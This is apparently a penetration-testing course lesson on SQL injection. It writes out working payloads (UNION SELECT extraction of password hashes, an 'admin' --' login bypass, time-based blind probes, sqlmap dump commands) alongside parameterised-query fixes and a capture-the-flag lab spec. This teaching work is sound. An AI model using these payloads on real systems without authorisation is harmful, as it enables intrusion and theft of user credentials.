SQL Injection: From Detection to Data Extraction

Prerequisites

• PEN-K003: Active Reconnaissance
• FND-K006: HTTP Traffic Deep Dive (recommended)

Why This Lesson Matters

SQL injection has been in the OWASP Top 10 continuously since 2003. It is not going away. It is the vulnerability where a single misplaced quote character gives an attacker the keys to the entire database — containing every user's credentials, personal data, and transaction history. Understanding it deeply means both exploiting it (in authorised testing) and building the one-line fix that prevents it entirely.

1. How SQL Injection Works

The core problem: user-controlled input is embedded directly into a SQL query as syntax, not as data.

// Vulnerable — user input becomes SQL syntax
$id = $_GET['id'];
$query = "SELECT name, email FROM users WHERE id = $id";

If the user sends id=1, the query is:

SELECT name, email FROM users WHERE id = 1

If the user sends id=1 OR 1=1, the query is:

SELECT name, email FROM users WHERE id = 1 OR 1=1
-- Returns ALL rows — the condition is always true

The user has changed the structure of the query. This is SQL injection.

2. Detection

2.1 The Single-Quote Test

Input: '  (single apostrophe)
Expected response from vulnerable app: SQL error message
  "You have an error in your SQL syntax near ' at line 1"
  "Unclosed quotation mark after the character string '"

OR: unexpected behavior — blank page, partial results, application crash

# Automated detection with sqlmap
sqlmap -u "https://app.corp.local/item?id=1" --dbs --batch
# --batch: use default answers (non-interactive)
# --dbs: enumerate databases if injectable

2.2 Boolean Inference

Even without error messages, injection may be present if behaviour changes:

Normal:    id=1     → returns "Product: Widget"
True:      id=1 AND 1=1  → same as normal
False:     id=1 AND 1=2  → empty response or "no results"

Difference between true/false response = injectable parameter

3. Error-Based Extraction

Some databases reveal data in error messages:

-- MySQL: EXTRACTVALUE forces data into an XPath error
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--
-- Error: XPATH syntax error: '~8.0.32'
--                                  ↑ version is revealed

4. UNION-Based Extraction

UNION SELECT appends attacker-controlled rows to the original query result.

Step 1: Find the number of columns

' ORDER BY 1--    → OK
' ORDER BY 2--    → OK
' ORDER BY 3--    → ERROR  → 2 columns

Step 2: Find which columns are displayed

' UNION SELECT NULL, 'visible'--
-- If "visible" appears on the page: column 2 is reflected

Step 3: Extract data

-- Database version
' UNION SELECT NULL, version()--

-- All table names
' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema=database()--

-- Column names in a specific table
' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users'--

-- Data from users table
' UNION SELECT NULL, CONCAT(username,':', password_hash) FROM users--

5. Blind SQL Injection

When the application does not show errors or results — only success/failure — you use time-based blind injection:

-- MySQL: if injectable, this query delays 5 seconds
' AND SLEEP(5)--
-- If the response takes 5+ seconds: injection confirmed

-- Boolean blind (if no sleep available)
' AND SUBSTRING(version(),1,1)='8'--
-- If true: normal response
-- If false: empty response
-- Iterate character by character to extract data

# Automated blind extraction (slow but works)
sqlmap -u "https://app.corp.local/item?id=1" -D mydb -T users -C username,password --dump

6. Authentication Bypass

The classic SQL injection that bypasses login entirely:

-- Vulnerable login query:
SELECT * FROM users WHERE username='INPUT' AND password='INPUT'

-- Attacker inputs for username:
admin' --

-- Resulting query:
SELECT * FROM users WHERE username='admin' -- AND password='anything'
-- The -- comments out the password check → authenticated as admin

7. Remediation (Always Include in Your Report)

// Fix: parameterised queries (prepared statements)
$stmt = $pdo->prepare("SELECT name, email FROM users WHERE id = ?");
$stmt->execute([$id]);

// OR: stored procedures
CALL GetUser(:id)

Why parameterised queries work: The database driver treats the user input as a literal string value — never as SQL syntax. A single quote is sent as data, not as a delimiter.

Defensive depth: Even with parameterised queries, apply least-privilege to the database account (read-only where possible), and use a WAF as a second layer.

8. Common Mistakes

Mistake 1: Dumping entire databases. Your RoE almost certainly says "minimum necessary." Extract a sample (e.g., first 5 rows of usernames) to prove the finding. Do not download 50,000 user records.

Mistake 2: Not testing all injection points. Every user-controlled parameter that touches the database is a potential injection point: GET params, POST body fields, HTTP headers (User-Agent, X-Forwarded-For, Referer), and JSON/XML body fields.

Mistake 3: Calling a Boolean-blind finding "Blind SQLi" without proving extraction. "The application behaves differently for true/false conditions" is a confirmed injection but not a confirmed data extraction risk. Prove at least one data value was extracted before calling it High/Critical.

9. Practice Exercises

1. You send id=' OR 1=1-- and get all database records. Is this enough evidence for the report? What additional step do you take?

2. The application shows no error messages. id=1 AND SLEEP(5) causes a 5-second delay. Classify this finding (type, CVSS score) and describe how you prove data extraction.

3. Write the parameterised query fix for: $query = "SELECT * FROM products WHERE category = '" . $_GET['cat'] . "'".

10. Lab

Assessment mode: flag

challenge_spec_id: 134 — SQL injection (classic)

A web application has an injectable parameter in a product listing page.

Task: 1. Detect the injection point with a single-quote test 2. Determine the number of columns using ORDER BY 3. Use UNION SELECT to extract the flag from the flags table 4. Submit: PREFIX{flag_value}

11. Framework Alignment

12. Further Reading

• PortSwigger SQL Injection Labs — https://portswigger.net/web-security/sql-injection — 16 free hands-on labs
• OWASP SQL Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
• sqlmap documentation — https://sqlmap.org — Full usage reference

["Detect a SQL injection point using the single-quote test and Boolean true/false response differential", "Execute a UNION-based SQL injection to extract database version, table names, and user credentials using the three-step ORDER BY → column detection → data extraction sequence", "Write the parameterised query fix for a provided vulnerable PHP SQL query and explain why it prevents injection at the database driver level"]

Prerequisites → Why this matters → How SQLi works (vulnerable code example) → Detection (quote test, Boolean inference) → Error-based extraction → UNION-based (3-step workflow) → Blind SQLi (SLEEP, Boolean brute-force) → Authentication bypass → Remediation (parameterised queries + defence in depth) → Common mistakes → Practice exercises → Lab (flag, spec 134) → Framework alignment → Further reading